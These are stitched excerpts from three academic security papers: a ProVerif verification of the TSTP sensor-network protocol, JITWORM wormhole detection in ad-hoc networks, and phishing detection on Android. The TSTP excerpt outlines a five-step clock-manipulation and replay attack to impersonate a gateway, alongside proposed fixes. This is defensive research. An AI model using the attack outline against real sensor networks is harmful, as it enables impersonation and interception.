and the second part is an unencrypted One-Time Password that is crucial for
the attack found.

Within the Proverif specification we were able to find a way for attackers to
impersonate the gateway and send seemingly legitimate messages to the sensor.
To do this, the attacker must follow three basic steps:

1. Synchronize its clock to the network;
2. Store an Auth Request message from a given sensor s containing OTPs, as

well as the precise time t where it was sent;
3. Wait for an Auth Granted response from the gateway to s;
4. Manipulate the clock synchronization algorithm to make the clock of sensor

s become t again;
5. Send a message to s encrypted with OTPs (stored at step 2), or read the

messages that s sends.

Steps 1 and 4 are generally possible since TSTP does not secure clock syn-
chronization. In fact, it is not trivial to do so because TSTP relies on synchro-
nized clocks to provide security in the first place. Step 2 is possible since OTPs

goes through the network as plain text. It is wrong, however, to assume that
every plain data that passes through the network can cause an easy to see prob-
lem: even ProVerif took some steps to discover the subtle flaw.

An attacker can thus successfully impersonate the gateway to a sensor node.
It cannot, however, impersonate a sensor node to the gateway if the gateway’s
clock is the reference clock for the time synchronization protocol (i.e. the network
synchronizes to the gateway’s clock, and not vice-versa).

Evaluating the protocol we can see one more issue that happens the moment
that a message is sent, involving the order of the Message Authentication
Code (MAC) and encryption operations. This was not actually found by the
use of Proverif, but because the reasoning involved in the specification and ver-
ification efforts.

This order is important, with each ordering covering different properties [2].
There are two possible orderings:

– The MAC-then-Encrypt (MtE) ordering consists of first generating a MAC
from the plaintext and then encrypting the result. This provides plaintext
integrity and does not leak any information about the plaintext (because it is
encrypted), but does not provide any integrity on the ciphertext;
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– The Encrypt-then-MAC (EtM) order consists of first encrypting the message,
and then generating a MAC from the ciphertext. This provides integrity of
both ciphertext and plaintext, and does not leak any information on the plain-
text, assuming the output of the cipher appears random and there is no output
from the receiving end indicating whether the MAC was valid or not [2].

Therefore EtM ensures that you only read valid messages. With this method,
if one modifies the ciphertext or tries to extend it, that will result in an invalid
MAC. EtM also protects against the padding oracle attack [15], because decryp-
tion of messages with invalid MACs are prevented.

5 Protocol Re-design and Proposed Solutions

We propose two solutions to this problem. The first one is a change in the time
synchronization algorithm. TSTP is built on top of an IEEE 802.15.4 physical
layer. The 802.15.4 standard dictates that the oscillator used as clock by radio
hardware must have an accuracy of at least ±40ppm. Some WSN systems based
on this standard (such as Texas Instruments’ CC2538 SoC1) propagate this
accuracy to the system clock, so that any node in the network, once synchronized,
knows for every further synchronization operation the upper bound φ̄ of its drift:

φ̄ = α × (ti − ts)

where α is the oscillator’s accuracy (e.g. 40ppm), ti is the current time and ts is
the time at which the last synchronization happened. Any synchronization that
attempts to adjust the clock by an amount δ, such that |δ| > |φ̄|, can be detected
as violating the physical limit given by the oscillator’s accuracy, and therefore
rejected. This method drastically limits the attacker’s ability to manipulate the
sensor’s clock, preventing step 4 of the detected attack.

The second solution is to adapt the security protocol itself: TSTP could
use the same messages and data, but with one more instance of encryption.
The OTP that is packaged within the Auth Request message could, instead of
being transmitted as plain text, be encrypted by the master secret Ksg that
is already established between sensor and gateway. The rest of the protocol
would be carried out identically, since the gateway already has to try every Ksg

pending authentication in steps 12–15 (Fig. 4). This security measure would turn
the mentioned attack infeasible because we assume that the attacker is not able
to break ECDH in a reasonable time to find Ksg and therefore decrypt the Auth
Request message to find OTPs. Figure 6 shows the proposed changes.

For use EtM pattern we will have only to modify the send message part of the
protocol. We will make the operations 22 and 23 (Fig. 4) before the generation
of MAC tag (operation 21 of Fig. 4), after that we will encrypt the message,
generate the key to do the encryption and then we will generate the tag.

Operation 30 (Fig. 6) impacts on security level and at sensor’s power con-
sumption. With our improvement the attacker is incapable of impersonate the
1 www.ti.com/CC2538.

http://www.ti.com/CC2538


Formal Verification of a Cross-Layer 441

Sensor Gateway

OTPs = Poly(MIs,Ksg, IDs, Ti)

Auths, {OTPs}Ksg (30) Auth Request Auths, {OTPs}Ksg

IDs = Query(Auths)

MIs = Ksg ⊕ IDs

OTP ′
s = Poly(MIs,Ksg, IDs, Ti)

{OTP ′
s}Ksg

?
= {OTPs}Ksg (31)

KTsg = Poly(MIs,Ksg, IDs, Ti)

{IDs}KTsg Auth Granted {IDs}KTsg

KTsg = Poly(MIs,Ksg, IDs, Ti)

Decrypt {IDs}KTsg

IDs
?
= IDs

Fig. 6. Proposed changes to the key establishment protocol.

gateway. However the sensor has to encrypt one more data packet at key estab-
lishment. However, considering that this will happen one time for each sensor,
this impact is amortized by the rise of the security level. The operation 31 does
not affect the protocol, because its execution is on gateway side where power
consumption is not a problem.

6 Concluding Remarks

In this work, we provided a formal verification of the security aspects of the
Trustful Space-Time Protocol, an application-oriented, cross-layer WSN pro-
tocol. We specified and verified TSTP’s time synchronization and key boot-
strapping protocols [20] in the automatic cryptographic protocol verification
tool ProVerif.

From the automatic analysis, we were able to find a subtle attack that would
allow an attacker to effectively impersonate the gateway to a sensor node and
read all (assumed) private and authenticated data it sends. We propose two
possible punctual alterations in the protocol to counter-measure this security
flaw, preventing this attack.

Furthermore, we propose another topical change not detected as a flaw by
ProVerif, but that would increase security: a change of a MAC-then-Encrypt
method employed to Encrypt-then-MAC.

In summary we could verify, TSTP uses unique IDs as well as time and space
as implicitly shared information between the parties during key establishment.
Because the protocol does not derive keys exclusively from the ID, security holds
even if they are deployed with low care [20]. In TSTP, an attacker must not only
find a correct ID, but deploy a malicious node at the right time and place [19].
Moreover, ID leakage does not compromise any keys already established.
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The TSTP uses a pre-distributed identifier on each node, but all the security
does not rely on this information [19]. The protocol specifies a secured minimum
size for that data, making brute force attacks harder to perform. There is a step
where the sink will be loaded with sensor ids information. This step, will allow
the base station to test if the node that is trying to authenticate has an valid id
or not.

The TSTP does not need a Trustable Third Party(TTP) and certificates to
identify who is sending the message. The protocol is not susceptible to full MitM,
because the attacker cannot impersonate a sensor. To perform a full MitM the
attacker needs to impersonate the gateway to the sensor and then they will
exchange a key with each other. After that the attacker needs to impersonate a
sensor too and start to send messages to the base station. However he can not
impersonate a sensor because he do not know a valid identifier.

As future work, we intend to design an extension for TSTP that would allow
for key distribution within groups. Such groups should be space-time constrained
so that the key establishment and the surrounding protocol would use a mech-
anism of geo-encryption.
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Abstract. Due to the decentralized nature of Mobile Ad-hoc Network
(MANET), it is exposed to many attacks. One such attack is a wormhole attack
which is formed by connecting two or more malicious nodes at distant locations.
Existing literature assumes that, if a wormhole tunnel is created it would always
have a higher delay than the average per hop delay. Further, it is assumed that a
wormhole does not have variable delay. This assumption would not hold in case
of newer routing protocols such as Lightweight On-demand Ad-hoc
Distance-vector Routing Protocol – Next Generation (LOADng). We propose
an algorithm JITWORM, which can detect wormholes with variable delay. We
detect the wormhole attack during route discovery phase and data transmission
phase. JITWORM detects wormholes by employing a mechanism of analyzing
the jitter applied to packets by the nodes. Each node monitors the jitter applied
to packets by its neighboring nodes. If the percentage of packets to which jitter
is not applied is greater than a set threshold then a wormhole is assumed to be
present. After successful detection of a wormhole, it can be isolated from the
network. We compare our work with the existing techniques and show that in
case of LOADng routing protocol the existing techniques would fail to detect
wormholes. Our simulation results and analysis shows that JITWORM is suc-
cessfully able to detect a wormhole even in presence of variable delay.

Keywords: Wormhole attack � Jitter � Ad-hoc networks � Wireless security

1 Introduction

Mobile Ad-hoc routing protocols are vulnerable to routing attacks like wormhole,
black-hole, rushing, replay and flooding [1]. In this paper we focus on detection of
wormhole attacks. Figure 1 shows a typical wormhole attack scenario. Nodes named
X and Y creates a wormhole. The thick dashed arc in the figure indicates the trans-
mission range of the wormhole nodes. A wormhole receives packets at one point in the
network, tunnels them to another point in the network, and then replays them into the
network from the other end point. These colluding wormhole nodes may use a fast
out-of-band channel (either wired or wireless) or in-band-channel [1, 2] to pass the
packet to another point in the network. When nodes behave in a non-malicious manner,
that is, they forward the correct routing packets to other nodes in a standard way; the
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existence of such tunnels is actually beneficial because it reduces the network delays.
However, an attacker might create a wormhole with a malicious intention. Such a
wormhole could be used to analyze, modify or drop all or selected packets. One of the
techniques used by the wormholes to attract traffic is to advertise lesser number of hops
in their route replies, thus creating a fake shortest path passing through them [2, 3].
Alternatively, the wormhole nodes could manipulate the jitter mechanism (RFC 5184
[4]), so that RREQ packet are forwarded faster through the wormhole towards the
destination. An attack of this kind would lead to degradation in the performance of
network routing and/or data transmission because the wormhole could drop the packets
or delay the packets for analyses.

Existing wormhole prevention and detection techniques proposed by various
authors are based on time delay mechanisms [2, 3, 5–7]. They assume that the per-hop
delay within a network is fixed. Hence, these mechanisms would fail in detecting the
wormholes operating in a network using a jitter addition mechanism. Once jitter is
added then the per-hop delay would vary [4, 8].

We propose the algorithm JITWORM, for detection of wormholes in MANET using
jitter monitoring of packets being forwarded to the next hop. JITWORM detects the
wormhole during route discovery phase as well as during data transmission phase.

For the detection of wormholes with jitter (variable delay), JITWORM monitors the
node behavior (jitter application) of its neighboring nodes in promiscuous mode. This
jitter analysis helps in detection of wormholes during route establishment as well as
during data transmission. We have shown through simulations that wormholes can be
detected successfully using JITWORM even if the wormhole has variable delay.

The rest of the paper is organized as follows. We describe the review of literature of
wormhole attack in Sect. 2. In Sect. 3, we discuss the motivations and problem
statement. Section 4 presents the preliminaries. We present our proposed algorithm for
wormhole detection in Sect. 5. Section 6 shows the simulations and result analysis of
the algorithm. Lastly, we conclude the paper in Sect. 7.

Fig. 1. A typical wormhole attack
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2 Literature Survey

Below we present the review of literature specific to our proposed work. The existing
routing protocols like Dynamic Source Routing (DSR), Ad-hoc On-demand Distance
Vector (AODV), Destination Sequenced Distance Vector (DSDV), Optimized Link
State Routing (OLSR) and Temporally Ordered Routing Algorithm (TORA) [1] may
suffer from packet collisions during route discovery and possibly during transmissions.
The reason for such a collision is due to simultaneous forwarding of packets. To avoid
the problem of collision and frequent retransmission, the protocol proposed in the
literature is LOADng [9], that applies jitter [4, 8] to packets before forwarding.
Therefore, the per-hop delay could vary due to addition of this jitter. Due to this delay
variation, the existing wormhole detection mechanisms would fail to detect the
wormholes because the these mechanisms [2, 3, 5–7] assume that the per hop delay is
fixed for a network.

Following literature survey is broadly classified based on the key mechanisms used
for the detection of wormholes, that is, delay monitoring, neighbor node monitoring
and statistical analysis.

2.1 Delay Based Mechanisms

In delay based mechanisms the wormhole tunnel is assumed to have a delay higher than
the average per hop delay. This idea is used for the detection of wormholes.

Shi F. [3] proposed a method for detection and location of hidden wormhole. It is
based on computing the number of hops required to reach the destination and actual
hop count received in the RREP packet. The source sends the RREQ packet and starts a
timer. On the receipt of RREP, the distance to the destination is calculated as the round
trip time divided by 2. The per-hop time is estimated as per the node placement and
topology by the source node. The hop count to the destination is computed as the
distance divided by one hop time. If the received hop count in RREP is less than the
calculated hop count then a wormhole is assumed to exist on the path.

Wormhole Attack Prevention (WAP) [7] assumes bi-directional links between the
neighboring nodes, say node A and B. For detecting a hidden wormhole, node A sends
RREQ packets and starts wormhole prevention timer (WPT). The WPT is considered
as the maximum amount of time required for a packet to travel from a node A to a
neighbor node B and back. When node B rebroadcasts the RREQ packet it is also heard
by node A. If A receives this message after WPT expires, it suspects B or B’s next node
to be a wormhole node. For detecting exposed wormhole, the source node first com-
putes the delay per hop (DPH) using the formula DPH = (Tb – Ta)/hop-count, where Ta

is the time at which the RREQ was sent, Tb is the time at which RREP message is
received and hop-count is the count received in RREP message. If DPH > WPT, then
the presence of wormhole is assumed on the path.

Packet leashes are proposed in [10] to protect against wormhole attacks at MAC
layer. A leash is defined as any information appended to a packet to restrict the
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maximum transmission distance of the packet. Two kinds of leashes have been pro-
posed: geographical leashes and temporal leashes. In the geographical leash, the
sender node appends its location and sending time into a packet. In temporal leash, the
sender appends the sending time to the packet. Based on the received leash, location
information or sending time, the receiving node computes the distance that a packet has
traveled or the time taken to reach the receiving node. If a packet violates the leash
condition, then the receiving node assumes that a wormhole exists on the path and
discards the packet.

2.2 Neighbor Node Monitoring Mechanisms

Below we present an overview of neighbor node monitoring based wormhole detection
mechanisms. In these mechanisms, a node monitors the packet forwarding behavior of
its neighbors. No additional messages are required in the MANET and detection takes
place locally.

Matam and Tripathy [11] propose a wormhole-resistant secure routing (WRSR)
algorithm to detect the presence of hidden and exposed wormholes during route dis-
covery process. The protocol works in a wireless mesh network and employs the
mechanism of neighborhood connectivity information and relies on the comparison
among multiple sub-paths. Each node maintains the list of its 2-hop neighbors.
A wormhole is detected by a node if it receives a RREQ packet which has not traveled
to it through the valid 2-hop neighbors, in its list.

LITEWORP [12] uses secure ad-hoc neighbor discovery and local monitoring of
control traffic to detect nodes involved in the wormhole attack. It is based on neighbor
node monitoring, and the assumptions that an attack can be launched by an external
node (without keys) or an internal node (with keys). Guard nodes are statically
deployed in the network. It is assumed that together the guard nodes can monitor all the
nodes in the network. If a node behaves maliciously i.e. drops or fabricates a control
packet, then the guard node informs all neighbors about the malicious node.

Giannetsos et al. [13], presented a novel lightweight countermeasure for the
wormhole attack, called LDAC (Localized-Decentralized Algorithm for Countering
Wormholes). The algorithm uses node connectivity information to detect wormhole
attacks. Initially, each node has its own 1 or 2 hop neighbor node information. For
example, for node i, node (i + 1) and (i + 2) are the one and two hop neighbors
respectively. The node i determines whether the distance (hops) between itself and its
(i + 1) or (i + 2) neighbors has increase by one additional hop. If the hop count
increases then the wormhole is assumed to be between node i and (i + 1) or (i + 1) and
(i + 2) nodes.

2.3 Statistical Analysis Based Mechanisms

RREP packets are unicasted from destination to the source node. So, the presence of
wormhole nodes can be determined using the RREP packets. One such method is
suggested by Lijun Qian [14], wherein the wormhole link is detected at the source
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node, based on the frequency of appearance of a particular link in the received route
reply messages. If the frequency of appearance of a particular link is greater than all the
other links in multi-hop routing, then the link is assumed to be a wormhole link.
However, the algorithm cannot determine the exact location of the colluding nodes.

In [15], Statistical Wormhole Apprehension using Neighbors (SWAN) is proposed
for mobile wireless sensor networks. The proposed SWAN algorithm applies a dis-
tributed approach to detect wormholes using change in the statistics of the neighbor-
hood count. If the number of neighbors for a node increases beyond a set threshold then
a wormhole is assumed to exist. For detection of wormholes, this mechanism requires a
high density of nodes to reduce the false positives.

The work in [21] is based on the concept of innovative packet received time and the
Expected Transmission Count (ETX) to detect the wormholes in a wireless network
coding systems. An innovative packet is the one that is independent from the previous
packet(s) received at a node. The ETX denotes the expected total number of
transmission/retransmissions needed in order to make a node receive one innovative
packet. If a wormhole link exists in the network then the ETX for these colluding nodes
is expected to be very low. If the two distant colluding nodes have very low ETX value
than the other nodes in the network then these colluding nodes are detected as
wormhole nodes.

There are other existing mechanisms for wormhole detection which use visual-
ization based on node connectivity information [16, 17], cryptography [18–20], or
special devices [12]. These mechanisms have specific requirements like tight clock
sync, directional antenna, GPS devices, key management and/or strict constraint on the
network topology.

2.4 Limitations in Existing Literature

The per-hop delay in the network is assumed to be fixed and the delay through the
wormhole tunnel is assumed to be higher than the average per-hop delay [3, 7, 10].
These delay based mechanisms would fail in detecting the wormholes if jitter [4] is
applied to the packets before forwarding. In the next section, we show this through
simulations.

In case of neighbor node monitoring each node monitors the validity of previous
hops taken to reach the present node or the behavior of next neighbor nodes to which
the packet is forwarded [6, 11, 13]. Neighbor node monitoring may not be able to
detect the colluding node. Further, the neighbor node monitoring mechanism does not
prevent the wormhole from participating in the future path formation.

Statistical analysis based mechanisms detect the wormhole based on either the
number of links appearing on multiple paths [14] or the sudden increase in number of
neighbors of a node [15]. However, the mechanism in [14] does not identify how a link
will appear a large number of times on multiple paths.
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3 Motivation and Problem Statement

In the case of jitter based routing algorithms like LOADng [9], at each node, the packet
could be delayed by some amount of time before forwarding. The existing mechanisms
such as [2, 3, 5–7] for the wormhole detection would fail in such routing scenarios.
This motivates us to analyze the per-hop delay through a normal network and a
network with a wormhole. Further, if there is a difference in delay then we need a new
technique for the detection of wormholes. Below we discuss the simulations using ns2
[22], for the comparison of average per-hop delay between a network without
wormholes and a network with wormholes. For verifying our claim we modified the
AODV routing algorithm as per the LOADng protocol. We added delay variation
(jitter) before forwarding the packet. In the deployed network, the normal nodes apply
the jitter and the wormhole nodes do not apply jitter to the packets. The results are
obtained for TCP connections between multiple source and destination pairs. The
details of these simulations are explained below.

3.1 Delay Comparison of a Network with and Without Wormholes

The Figs. 2 and 3 are the box plots drawn for a 30 node topology and 5 connection
(source-destination) pairs. We averaged the values for 10 runs of the simulations. The
box plot shows the number of connections versus average per-hop delay graph.

Observation: it is observed that the average per-hop delay in presence of wormhole
case (Fig. 3) is 0.0055 s as compared to without wormhole case (Fig. 2) which is
0.01 s. This is due to the fact that the colluding wormhole node is not applying jitter to
the packets and is immediately forwarding the packet. So we can conclude that if the
packet is passing through such a wormhole tunnel then the delay could be lesser. This

Fig. 2. Boxplot for hop delay without wormhole
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contradicts the assumption stated by existing research [3, 7, 10], that the delay through
such a wormhole tunnel is always higher than the normal per-hop delay.

So, the above observation motivates us to design a neighbor monitoring mechanism
that analyzes the jitter applied to each packet by neighboring nodes and detects the
wormholes locally, even in presence of variable delay. The mechanism needs to be
simple with less control packet overhead.

4 Preliminaries

In this section, we state our assumptions regarding the capabilities of the network and
wormhole attack.

4.1 Network Assumptions

Each pair of nodes in the network have a bidirectional link between them if they fall
within each other’s transmission range. All the nodes in the network are initially static
or have low mobility. The colluding nodes always try to be on the path by forwarding
the RREQ packet immediately into the network. Our protocol works on LOADng [9]
where destination nodes only are allowed to reply to the RREQ. Each node applies a
variable jitter to each packet before forwarding it. All the nodes in the ad-hoc wireless
network are assumed to be in promiscuous mode to overhear the transmission of its
neighbor.

Fig. 3. Boxplot for per hop delay with wormhole
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4.2 Wormhole Attack Assumptions

In a wormhole attack, the wormhole nodes communicate using a long distance radio
link, or long-range wireless transmission in a different band as discussed in [17, 21].
The normal nodes cannot overhear this wormhole radio link. In the deployed network,
the wormhole nodes apply jitter, to only a few packets, while forwarding them. Due to
this their chances of appearance on routing paths increase. Wormhole nodes can ran-
domly turn on and turn off the jitter mechanism so that there detection would be
difficult. We have implemented these wormhole behavior in our simulations. Worm-
hole nodes can drop the packet as and when they desire to do so.

In the following section we present the detail algorithm of JITWORM.

5 Proposed Algorithm

For the detection of wormhole, we have designed the algorithm named JITWORM.
JITWORM algorithm employs a detection mechanism assuming LOADng [9] to be the
routing protocol.

The working of JITWORM is as follows. Each node maintains the counters for total
packet forwarded and the jitter applied counter for its neighbors. If at the neighboring
node, the percentage of packets to which the jitter is not applied increases above a set
threshold then the node is detected as a wormhole node.

Notations used in our algorithm are as shown in Table 1.

Following flowchart, given in Fig. 4, depicts the JITWORM algorithm.

Table 1. Notations used

Notation Description

i, j The neighboring nodes in the network
Ni = {j1, j2,…..jk} Set of neighboring nodes of i
JITTER_COUNTER(j) Jitter-applied counter for node j
Total_Pkt_Forwarded(j) Total number of packets forwarded by node j
JITTER_NOT_APPLIED_PER
(j)

Percentage of packet to which jitter is not applied by node
j

PktRecvTime(j) Time at which packet is received by node j
PktSentTime(j) Time at which packet is forwarded by node j
JITTER(j) PktSentTime(j)- PktRecvTime(j)
Jit_Thresh Jitter counter threshold
Per_Thresh Jitter applied percentage threshold
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6 Simulation Results

The simulation is carried out using ns2.34 [22] with modification to the AODV routing
protocol to implement the jitter mechanism of LOADng. The wormhole is implemented
in ns2.34 as follows.

6.1 Implementation of Wormhole

The behavior of wormhole nodes is that its transmission range (500 m in our simu-
lation) is higher than the normal nodes (300 m). The wormhole node also turns off the
jitter mechanism, so that packets will be forwarded faster than the other nodes in the
network. At a certain time the wormhole nodes are activated.

Fig. 4. Flowchart of JITWORM
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6.2 Simulation of JITWORM

For implementing LOADng the following parameters were added into the AODV
protocol. The AODV. cc and AODV.h files in ns2.34 were modified as per the
requirement of algorithm and the jitter mechanism was added. For normal nodes a jitter
of approximately 0.01 s was added and for wormhole nodes it was kept as 0 s. The
jitter is selected on the basis of maximum transmission time needed between any two
pair of nodes in the network [4].

The simulation parameters are shown in Table 2.

Description of simulation: We simulated JITWORM for 15/30/40 node scenarios
with node mobility of 0–4 m per second. In each scenario we added two wormhole
nodes with 500 m of radio range. Once the normal nodes initiate route discovery as per
LOADng protocol, the wormhole nodes behave maliciously at a certain time defined in
the simulation.

The screen shot of the network topology (30 nodes) with a wormhole is shown in
Fig. 5. In this figure, the red colored nodes are the wormhole nodes.

Below, we analyze the results of our simulations.

6.3 Result Analysis

During RREQ phase, each node applies jitter as per LOADng protocol. A node monitors
the jitter of its neighboring nodes and estimates an average of the jitter applied per
neighboring node, during RREQ phase. In Figs. 6a, b and c we show the average jitter
applied per node for the 15, 30 and 40 node cases respectively. In Fig. 6(a) nodes
numbered 13 and 14 are colluding wormhole nodes. These wormhole nodes are showing
an average jitter of 0.0087 s. This average jitter is lesser than the average jitter applied
by all the other nodes and these nodes are easily detected as wormhole nodes. Similarly,
in Fig. 6(b) nodes numbered 28 and 29 are wormhole nodes. We can observe that
wormhole nodes numbered 28 and 29 have average jitter of 0.0076. Also, from Fig. 6(c)
nodes numbered 39 and 40 are wormhole nodes. Their average jitter is 0.0070 s. In the

Table 2. Simulation parameters

Network dimensions 1000 m X 1000 m

Number of nodes 15, 30, 40
Transport protocol TCP
Routing protocol LOADng
Packet size 512 bytes
Simulation time 100 s
Propagation model TwoRayGround
Transmission range (Normal nodes) 300 m
Transmission range (Wormhole nodes) 500 m
Number of wormhole nodes (static) 2
JITWORM: Threshold for jitter not applied percentage (Per_Thresh) 70%
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simulation, the wormhole nodes behave like normal nodes until they switch over to
malicious mode (turning off jitter). If from the beginning the wormhole nodes do not
apply jitter then the wormhole nodes would have a zero average jitter. In our simulations
the small amount of jitter seen for the wormhole nodes is because of the initial
non-malicious period. In all the simulations the wormhole nodes apply jitter to

Fig. 5. Wormhole topology (Color figure online)

(a)

Fig. 6. (a) Average jitter applied during RREQ phase (15 node case), (b) Average jitter applied
during RREQ phase (30 node case) and (c) Average jitter applied during RREQ phase (40 node
case)
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(c)

(b)

Fig. 6. (continued)
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approximately 22% of the packets. That is, jitter was not applied to approximately 78%
of the packet. Therefore, JITWORM detects these nodes as wormhole nodes.

6.4 Comparison with Existing Techniques

JITWORM is compared with the existing work based on maximum Delay Per Hop
Estimation [7] and hop count and RTT estimations presented in [3]. We have shown in
Sect. 3.1 that, the average per hop delay in the case of wormhole free path could be
higher than a path with wormholes. For comparison purpose, we used our simulation
setup of 30 node case, as described above. In the existing techniques, we vary the
assumed initial conditions.

In hop estimation based mechanism [3], the HopMin = RTT* v/2*r; is the esti-
mation of minimum hop count, based on Round Trip Time (RTT), speed of light(v) and
transmission range(r) of a node. When the HopMin is greater than received hop count
then a wormhole is assumed to exist on the path. In our simulations based on LOADng
algorithm, wormhole detection possibilities is shown in Table 3.

The WAP protocol [7] defines a Wormhole Prevention Timer (WPT) which is the
time within which a node expects forwarding of a packet by a neighbor. The Delay Per
Hop (DPH) is the average per hop delay between two neighbor nodes along a path. If
DPH > WPT, then a wormhole is assumed to exist on the path. In our simulations, we
have set the WPT = 0.01 s. We show in Table 3, that there may be errors in wormhole
detection in case of WAP [7].

Table 3. Comparison of JITWORM with existing techniques (30 node scenario) for 2
wormhole nodes in the network

Jitter not applied
percentage to a
packet at particular
simulation time
(sec)!

5% at 10 s 50% at 25 s 70% at 30 s 80% at 60 s

Techniques#
Hop Estimation [3] No

wormhole
detected

No
wormhole
detected (2
false
negatives)

All paths
detected as
wormhole
paths (false
positives)

All paths
detected as
wormhole
paths (false
positives)

WAP [7] No
wormhole
detected

No
wormhole
detected (2
false
negatives)

No wormhole
detected (2
false
negatives)

No wormhole
detected
(2 false
negatives)

JITWORM No
wormhole
detected

Wormhole
detected with
1 false
positives

2 wormhole
nodes detected
successfully

2 wormhole
nodes detected
successfully
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It is observed from Table 3 that Hop Estimation [3] and WAP [7] assume fix
HopMin and WPT respectively. Therefore these algorithms would result in errors while
detecting the wormholes in presence of LOADng routing algorithm due to variable
delay. However, JITWORM is able to detect the wormholes even in the case of
variable delay, subject to appropriate jitter not applied threshold values.

We can see from the Table 3 that the wormholes in presence of LOADng routing
protocol cannot be correctly detected by the existing mechanisms. In the case of Hop
estimation [3], the false positives and false negatives are due to the fact that the
estimated HopMin is always higher than the received hop count because of jitter
addition. Similarly, in the case of WAP [7] the false negatives are due to the
assumption that the delay through a wormhole tunnel is always higher than the normal
per hop delay. The JITWORM detects the wormhole successfully with varying per-
centage of jitter. Once a correct threshold is set, JITWORM will always detect the
wormholes over a reasonably long period of time.

7 Conclusions and Future Scope

We have simulated the mechanism of wormhole detection based on the measurement of
average jitter at neighboring nodes. We considered LOADng as a routing protocol
which is the next version of AODV. NS2 is modified to implement the algorithm
(JITWORM) and wormhole node behavior. Our analysis shows that proposed algorithm
detects the wormholes with the addition of jitter to packet before forwarding. Further,
the delay through wormhole tunnel could be variable that we proved from the analysis of
simulations. We compared JITWORM with existing work and concluded that these
mechanisms would fail to detect the wormholes in LOADng routing protocol. The
existing techniques, if applied on LOADng routing protocol would result in false
negatives or false positives. The overhead in terms of extra control packet required is
very less as compared to other techniques proposed in the literature [2, 13, 14]. How-
ever, the observation of neighbor node forwarding behavior in promiscuous mode is
needed for the continuous monitoring of wormholes.

JITWORM can be further improved by detection of wormhole during RREP phase
and detection based on link analysis by the neighboring nodes.
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Abstract. Android OS is currently one of the most popular operating system in
smartphones. Majority of the population today uses android phone. Use of
smartphone is not bounded to calling, messaging apps or Video Chats but the
users use it for financial transactions as well. There is an exponential growth in
use of mobile services. Phishing is one of the major security threats in mobile
devices for various reasons. Mobile phishing is dangerous because of hardware
limitations of the device and the user attitude while using services on the device.
Phishing is widely investigated in desktop environment but there is very little
research on techniques to detect phishing on Android Device. The proposed
system is a mechanism for detection of phishing on Android mobile devices. It
is a hybrid solution to defend against zero-day phishing attacks. It includes 5
modules; URL Extraction, Static Analysis of URL, Web Page Foot printing,
URL Based Heuristics and the SVM classifier. The system was evaluated using
a dataset with 200 phishing websites URLs and 200 legitimate website URLs.
The results show that 92% accuracy was achieved by the system.

Keywords: Phishing detection � Smartphones � Android security � SVM

1 Introduction

Android is easy to use, customizable open source operating system with more than
billion devices from mobile phones and tablets to watches, TV and cars [1]. The
smartphones might overtake use of fixed internet access on the desktop in near future.
Smartphones are used by the user for various confidential data storage and access,
banking and many crucial tasks. Due to features of smartphone the use of desktop or
fixed internet services has reduced to a great extent. There won’t be next generation of
main frame or desktop open operating system but lot of development will be done on the
small devices that are easy to carry every day and everywhere. In addition to this is users
these days are attracted to ecommerce websites for shopping of various products ranging
from minimal amount products to expensive products. All these monetary transactions
are done on mobile devices with very little protection. Very few users have installed
virus and malware detection and other protective solutions on their devices. Thus mobile
devices are becoming easy target to the attacker with number of users increasing day by
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day. When users check there mails, social media profiles, banking and online shopping
using mobile devices they become more vulnerable to phishing attacks.

Most of the attackers are attracted to phishing attack due to the hardware limitation
in the mobile device and user approach while using mobile phones for confidential
activities. Due to small screen size and limited memory designing of application user
interface is constrained. Secure application identity indicators are not available in
Mobile Operating system and web browsers. When a user tries to visit a website using
browser installed on the device the browser hides the URL due to the screen size
limitations on smartphones. The default browsers use the blacklist of the reported
phishing web pages to alert users about phishing attack. Android being the most
popular operating system in mobile phones; there is need to develop a solution that will
protect users from phishing attack.

The remainder of this paper is organized as follows. Section 2 discusses about the
various techniques that are implemented on desktop and mobile devices. Section 3
explains the system design and implementation details of the proposed system.
Section 4 comprises of the various experimental evaluations that are performed on the
system. In Sect. 5 we conclude the paper with few possible future enhancements.

2 Related Work

Luong Anh Tuan et al. presented an approach in [4] using URL based heuristics for
detection of phishing. It focusses on the similarity of phishing site URL and legitimate
site URL. It also include ranking of the site as a factor to decide if the site is phishing or
not. It uses levenshtein distance to calculate the value of the heuristics and thus
determines the threshold to compare with value of system. It determines distance of
Primary domain with Google search engine spelling suggestions, Google page rank,
Alexa Rank and Alexa Reputation.

In [6] Ram B. Basnet proposed a methodology that could be used as tool to detect
phishing. A heuristic based approach is used to classify the URLs. Feature vectors are
generated of training dataset and machine learning classifier is developed. Lexical
features, keywords, search engine based features are considered in feature collector
phase. The model is trained based on these features and the classifier is generated to
classify new URLs as phishing or legitimate.

Guang-Gang Geng, Xiao-Dong Lee, Wei Wang [9] proposed an innovative way to
detect phishing using the favicon of the webpage. The short form of Favourite icon or
URL icon or bookmark icon is known as Favicon. It is used by attackers to create
phishing web page but is ignored by the researchers. Favicon detection and recognition
locates the suspicious brand sites, including authentic and counterfeit brands sites, and
then PageRank and DNS filtering algorithm distinguishes the sites with branding rights
from fake brands sites.

MobiFish lightweight scheme for mobile phones discussed in [10], using OCR text
extraction tools, in order to verify the legitimacy of a website, comparing the text
extracted from a login form with the corresponding second-level domain name (SLD).
This technique is based on the assumption that most well-known enterprises use brand
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name as the SLD of their official websites which is also used, as an image, within their
login forms. This scheme works on mobile browsers and do not depend upon results
from external search engine.

Based on the survey it was observed that a lot of research and tools have been
designed to detect phishing on desktop browsers. Researchers have proposed browser
plugins or extensions, tools and additional software for detection of phishing on
desktop. There are very few solutions proposed for security of mobile internet users.
Android being popular with most of the mobile users in recent times; the proposed
system is designed to detect phishing on mobile devices with android operating system.

3 System Design

The proposed system is a hybrid technology that includes static analysis for quick
results if the URL is blacklisted, URL based heuristics and Web foot printing to detect
zero day phishing attack. The system detects phishing on mobile devices with android
operating system. The system is capable to detect zero day phishing attack. The system
works in five phases; URL Extraction, Static Analysis, Webpage foot printing, URL
based Heuristics and the Classifier.

Figure 1 shows the graphical representation of system design. In the first phase the
URL is extracted that the user is trying to visit through our browser installed on android
device. Once the URL is extracted it is compared with the blacklisted URLs.
A Database is created that includes blacklisted URLs. The extracted URLs are verified
and the user is warned if the URL is reported as blacklisted. If the requested URL is not
present in the database the next stage is Web page foot printing wherein html content of
the web page is analyzed and features are collected to classify the URL. In the next
stage URL based features are collected and the feature vector in generated. This feature
vector is further used to train the classifier. This classifier is used for classification for
new URL thus assisting to detect zero day phishing attack.

URL
Extraction

Static Analysis 
Of URL

Web Page  
Foot printing

URL Based 
Heuristics

Classifier

Legitimate 
page

Phishing 
page

Fig. 1. System design
